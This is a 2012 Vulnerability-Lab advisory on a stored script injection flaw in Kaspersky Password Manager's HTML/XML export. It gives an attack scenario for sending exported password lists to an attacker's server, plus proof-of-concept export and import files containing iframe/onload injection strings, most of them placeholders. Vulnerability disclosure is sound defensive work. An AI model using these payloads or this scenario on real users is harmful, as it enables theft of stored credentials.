Title:
======
Kaspersky PM 5.0.0.164 - Software Filter Vulnerability


Date:
=====
2012-07-12


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=612


VL-ID:
=====
612


Common Vulnerability Scoring System:
====================================
3


Introduction:
=============
Kaspersky Password Manager is an indispensable tool for the active Internet user. It fully automates 
the process of entering passwords and other data into websites and saves the user going to the trouble 
of creating and remembering multiple passwords. When you use Kaspersky Password Manager to log in, you 
can rest assured that your data is safe. The software creates exceptionally strong passwords and prevents 
your login information from being stolen. All confidential data is encrypted and kept in a dedicated database 
on your computer. Kaspersky Password Manager makes your web experience safer, quicker and more convenient.

(Copy of the Vendor Homepage: www.kaspersky.com/us/kaspersky-password-manager )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a software filter & validation vulnerability in Kasperskys Password Manager v5.0.0.164.


Report-Timeline:
================
2012-07-12:  Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Kaspersky Labs
Product: Kaspersky Password Manager v5.0.0.164 & older versions


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A software filter & validation vulnerability is detected in Kasperskys Password Manager v5.0.0.164 Software.
The bug allows an attacker (local) to implement/inject malicious script code when processing to export a manipulated
Kaspersky Password Manager database. The vulnerability is located in the validation of the html/xml export 
function/module & the bound vulnerable name, domain, url, comment (listing) parameters. URLs of entries are embedded 
in the exported HTML file without encoding XML special characters, when the URL (domain) field of an entry contains 
a malicious script code, this will be executed when the exported HTML file is opened in a browser.

Exploitation of the vulnerabilitiy requires a manipulated url with malicious script code, a logging server with chmod 
777, a listing file (random) & a kaspersky PM v5.0.0.164 user. The bug will be injected on the remote way (Autofill Engine), 
affects the local validation (html/xml) on exports and change the technic back when remote transfering the password lists. 
The injection of the malicious url/domain context can be done via automatic imports/plugins (KPM AutoFill Engine v5.0.0.164) 
as victim or manually (reproduce) by including. Successful exploitation of the vulnerability lead to stable (persistent) 
context manipulation, persistent phishing, execution of malware or stealing plain password lists. Medium user inter action is 
required to exploit the vulnerability.


Normally Kaspersky Password Manager exports the html & xml backup with a secure clean template like ...

<tbody><tr class=``MySplitterRow``><td colspan=``2``> </td></tr>
<tr class=``MyAccountNameRow``>
 <td align=``right`` width=``150px``>Name des Benutzerkontos: </td>
 <td><b>test1</b></td>
</tr>
<tr><td align=``right`` valign=``top``>Link: </td>
<td valign=``top``>test4</td></tr>
<tr class=``MySplitterRowLight``><td colspan=``2``></td></tr>
<tr><td align=``right`` valign=``top``>Benutzername: <br>Kennwort: </td><td valign=``top``>test2<br>test3</td></tr>
<tr class=``MySplitterRowLight``><td colspan=``2``></td></tr>
<tr><td align=``right`` valign=``top``>Kommentar</td><td valign=``top``>test5</td></tr>
<tr class=``MySplitterRow``><td colspan=``2``> </td></tr>
<tr class=``MySplitterRowWhite``><td colspan=``2``> </td></tr>
</tbody></table></body></html>

The local attacker manipulate the database with malicious strings (script code) in the category item profile name input fields.
Kaspersky password manager generates the clean html or xml template but after the persistent script code inject in the database
profile name items, the persistent code is getting execute direct out the clean exported xml or html template file.

<tr class=``MyAccountNameRow``>
 <td align=``right`` width=``150px``>Name des Benutzerkontos: </td>
 <td><b>``><iframe src=``http://vulnerability-lab.com`` onload=alert(`VL`) <<=`` b=``></td>
</tr>


Vulnerable Section(s):
        [+] Export & Import - Database & Categories

Vulnerable Module(s):
        [+] HTML & XML


Vulnerable Parameter(s):
        [+] Benutzername
        [+] Kommentar
        [+] Vorname, Zweiter Vorname & Nachname
        [+] Email, Stdt & Addresse
        [+] Abteilung, Beruf & Webseite
        [+] Link/Website/URL



Exploitation (Remote>Local>Local>Remote) Scenario:

1. Remote
Attacker is sending the victim a manipulated login page (MITM/Browser or as Link) with script code in the url parameters. 
The script code impacts an easy html or js script which responds to a url with chmod 777 (other server) to exchange of the 
file when processing a local request. 

2. Local
The victim with kaspersky password manager save the malicious vulnerable login page with the url via AutoFill Engine plugin 
to the software. The context got saved in the kaspersky password database.

4. Local
After some time the victim is exporting the file as html plain file with the standard kaspersky template. 

3. Remote
The script code of the vulnerable item values get executed and transfers the context of the listed plain html file directly to the 
attackers web-server with the script in chmod777.


Proof of Concept:
=================
The persistent script code injection & execution can only be exploited by local attackers or remote via user inter action & 
manipulated login/website link(malicious). For demonstration or reproduce ...

Review: Listing Document (HTML & XML)

<tr class="MyAccountNameRow">
 <td align="right" width="150px">Name des Benutzerkontos: </td>
 <td><b>yeaaa</b></td>
</tr>
<tr><td align="right" valign="top">Link: </td>
<td valign="top">"><iframe src=a onload=alert("VL") <</td></tr>
<tr class="MySplitterRowLight"><td colspan="2"></td></tr>
<tr><td align="right" valign="top">Benutzername: <br>Kennwort: </td><td valign="top">"><[PERSISTENt INJECTED SCRIPT CODE]) <<br>KTia1Zx8</td></tr>
<tr class="MySplitterRowLight"><td colspan="2"></td></tr>
<tr><td align="right" valign="top">Kommentar</td><td valign="top">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr class="MySplitterRowWhite"><td colspan="2"> </td></tr>
</table></html>


PoC:  HTML

<html><head>
<title>Kaspersky Password Manager Datenbank von 12.06.2012 02:43:53</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<style type="text/css">
<!--
a:link    { color:#555B7C; }
a:active  { color:#555B7C; }
a:hover   { color:#555B7C; }
a:visited { color:#555B7C; }
body, td  { font: x-small Tahoma, Helvetica, Arial; color:#000000; }
hr        { color:#D8DADC; width:100%; }
.capt     { font: large Arial, Verdana; font-weight:bold; color:#000000; text-align:center; }
.section     { font: medium Arial, Verdana; font-weight:bold; color:#000000; text-align:center; }
.MyAccountNameRow { background-color:#F0F0F0; }
.MySplitterRow { background-color:#E6E6E6; }
.MySplitterRowLight { background-color:#EFEFEF; }
-->
</style>
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="20" topmargin="20" marginwidth="20" marginheight="20">
<p class="capt">Kaspersky Password Manager Datenbank von 12.06.2012 02:43:53<hr size="1">
<p class="section"> Meine Visitenkarten</p>
<table align="center" width="800px" cellpadding="3" cellspacing="2" border="0" bgcolor="#FBFBFB">
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr><td align="right" width="150px">Vorname</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Zweiter Vorname</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Nachname</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Geschlecht</td>
<td valign="top"><b>Männlich</b></td></tr>
<tr><td align="right" width="150px">Geburtsdatum</td>
<td valign="top"><b>12.06.2012</b></td></tr>
<tr><td align="right" width="150px">Geburtsort</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Webseite</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">E-Mail</td>
<td valign="top"><b>research@vulnerability-lab.com</b></td></tr>
<tr><td align="right" width="150px">E-Mail-Adresse ausblenden</td>
<td valign="top"><b>Ja</b></td></tr>
<tr><td align="right" width="150px">Nachrichten abonnieren</td>
<td valign="top"><b>Ja</b></td></tr>
<tr><td align="right" width="150px">Yahoo-Benutzerkonto</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">MSN-Benutzerkonto</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">AOL-Benutzerkonto</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Skype-Benutzerkonto</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Bevorzugter Benutzername</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Geheimfrage</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Antwort auf Geheimfrage</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Land</td>
<td valign="top"><b>Deutschland</b></td></tr>
<tr><td align="right" width="150px">Stadt</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Bundesland</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Postleitzahl</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Adressenzeile 1</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Adressenzeile 2</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Bevorzugte Sprache</td>
<td valign="top"><b>Deutsch</b></td></tr>
<tr><td align="right" width="150px">Zeitzone</td>
<td valign="top"><b>(UTC+01:00) Belgrad, Bratislava, Budapest, Ljubljana, Prag, Sarajevo, Skopje, Warschau, Zagreb, 
Windhuk, Brüssel, Kopenhagen, Madrid, Paris, West-Zentralafrika, Amsterdam, Berlin, Bern, Rom, Stockholm, Wien</b></td></tr>
<tr><td align="right" width="150px">Währung</td>
<td valign="top"><b>Euro (EUR)</b></td></tr>
<tr><td align="right" width="150px">Firma</td>
<td valign="top"><b>"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Abteilung</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Beruf</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Webseite</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Zahlungsart</td>
<td valign="top"><b>Bar</b></td></tr>
<tr><td align="right" width="150px">Familienstand</td>
<td valign="top"><b>Ledig</b></td></tr>
<tr><td align="right" width="150px">Umsatzsteuer-Identifikationsnummer</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Handelsregistereintrag</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">IBAN - Internationale Bankkonto Nummer</td>
<td valign="top"><b>http://"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr class="MyAccountNameRow">
<td colspan="2"><b>Kreditkarten</b></td></tr>
<tr><td colspan="2">"><[PERSISTENt INJECTED SCRIPT CODE]) <</td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr><td align="right" width="150px">Kartennummer</td>
<td valign="top"><b>"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr><td align="right" width="150px">Kreditinstitut</td>
<td valign="top"><b>"><[PERSISTENt INJECTED SCRIPT CODE]) <</b></td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr><td colspan="2"></td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
<tr class="MySplitterRow"><td colspan="2"> </td></tr>
</table></html>


PoC:  XML for imports ...

<?xml version="1.0" encoding="UTF-16"?>
<root>
  <Database CreatedDate="2012-02-14T17:39:23.467+02:00" ModifiedDate="2012-06-12T22:25:48.806+02:00" LastDBObjectID="139" XMLVersion="1">
    <Identities>
      <Identity Name=""><iframe src=http://vulnerability-lab.com onload=alert("VL") <" ID="62" ParentID="-1" DefaultCreditCardID="106" 

DefaultBankAccountID="129">
        <RoleValues>
          <RoleValue ID="65" RoleType="1"/>
          <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="66" RoleType="2"/>
          <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="67" RoleType="3"/>
          <RoleValue ID="68" RoleType="4"/>
          <RoleValue Name="m" ID="69" RoleType="5"/>
          <RoleValue Name="20120612" ID="70" RoleType="6"/>
          <RoleValue ID="71" RoleType="7"/>
          <RoleValue ID="72" RoleType="8"/>
          <RoleValue ID="73" RoleType="9"/>
          <RoleValue ID="74" RoleType="10"/>
          <RoleValue ID="75" RoleType="11"/>
          <RoleValue Name="research@vulnerability-lab.com" ID="76" RoleType="12"/>
          <RoleValue Name="1" ID="77" RoleType="13"/>
          <RoleValue Name="1" ID="78" RoleType="14"/>
          <RoleValue ID="79" RoleType="15"/>
          <RoleValue ID="80" RoleType="16"/>
          <RoleValue ID="81" RoleType="17"/>
          <RoleValue ID="82" RoleType="18"/>
          <RoleValue ID="83" RoleType="19"/>
          <RoleValue ID="84" RoleType="20"/>
          <RoleValue ID="85" RoleType="21"/>
          <RoleValue ID="86" RoleType="22"/>
          <RoleValue Name="94" ID="87" RoleType="23"/>
          <RoleValue ID="88" RoleType="24"/>
          <RoleValue ID="89" RoleType="25"/>
          <RoleValue ID="90" RoleType="26"/>
          <RoleValue ID="91" RoleType="27"/>
          <RoleValue ID="92" RoleType="28"/>
          <RoleValue Name="7" ID="93" RoleType="29"/>
          <RoleValue Name="1" ID="94" RoleType="30"/>
          <RoleValue Name="EUR" ID="95" RoleType="31"/>
          <RoleValue ID="96" RoleType="32"/>
          <RoleValue ID="97" RoleType="33"/>
          <RoleValue ID="98" RoleType="34"/>
          <RoleValue ID="99" RoleType="35"/>
          <RoleValue ID="100" RoleType="36"/>
          <RoleValue Name="1" ID="101" RoleType="57"/>
          <RoleValue Name="1" ID="102" RoleType="58"/>
          <RoleValue ID="103" RoleType="59"/>
          <RoleValue ID="104" RoleType="60"/>
          <RoleValue ID="105" RoleType="61"/>
        </RoleValues>
        <CreditCards>
          <CreditCard Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="106" ParentID="62">
            <RoleValues>
              <RoleValue ID="107" RoleType="37"/>
              <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="108" RoleType="38"/>
              <RoleValue ID="109" RoleType="39"/>
              <RoleValue ID="110" RoleType="40"/>
              <RoleValue ID="111" RoleType="41"/>
              <RoleValue ID="112" RoleType="42"/>
              <RoleValue Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="113" RoleType="43"/>
              <RoleValue ID="114" RoleType="44"/>
              <RoleValue ID="115" RoleType="45"/>
              <RoleValue ID="116" RoleType="46"/>
            </RoleValues>
          </CreditCard>
          <CreditCard Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="117" ParentID="62">
            <RoleValues>
              <RoleValue ID="118" RoleType="37"/>
              <RoleValue ID="119" RoleType="38"/>
              <RoleValue ID="120" RoleType="39"/>
              <RoleValue ID="121" RoleType="40"/>
              <RoleValue ID="122" RoleType="41"/>
              <RoleValue ID="123" RoleType="42"/>
              <RoleValue ID="124" RoleType="43"/>
              <RoleValue ID="125" RoleType="44"/>
              <RoleValue ID="126" RoleType="45"/>
              <RoleValue ID="127" RoleType="46"/>
            </RoleValues>
          </CreditCard>
        </CreditCards>
        <BankAccounts>
          <BankAccount Name=""><[PERSISTENt INJECTED SCRIPT CODE]) <" ID="128" ParentID="62"/>
          <BankAccount Name="" ID="129" ParentID="62">
            <RoleValues>
              <RoleValue ID="130" RoleType="47"/>
              <RoleValue ID="131" RoleType="48"/>
              <RoleValue ID="132" RoleType="49"/>
              <RoleValue ID="133" RoleType="50"/>
              <RoleValue ID="134" RoleType="51"/>
              <RoleValue ID="135" RoleType="52"/>
              <RoleValue ID="136" RoleType="53"/>
              <RoleValue ID="137" RoleType="54"/>
              <RoleValue ID="138" RoleType="55"/>
              <RoleValue ID="139" RoleType="56"/>
            </RoleValues>
          </BankAccount>
        </BankAccounts>
      </Identity>
    </Identities>
  </Database>
</root>



Solution:
=========
XML special characters in Item names need to be encoded when processing to export as HTML file.


Risk:
=====
The security risk of the persistent software vulnerability is estimated as low(+)/(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
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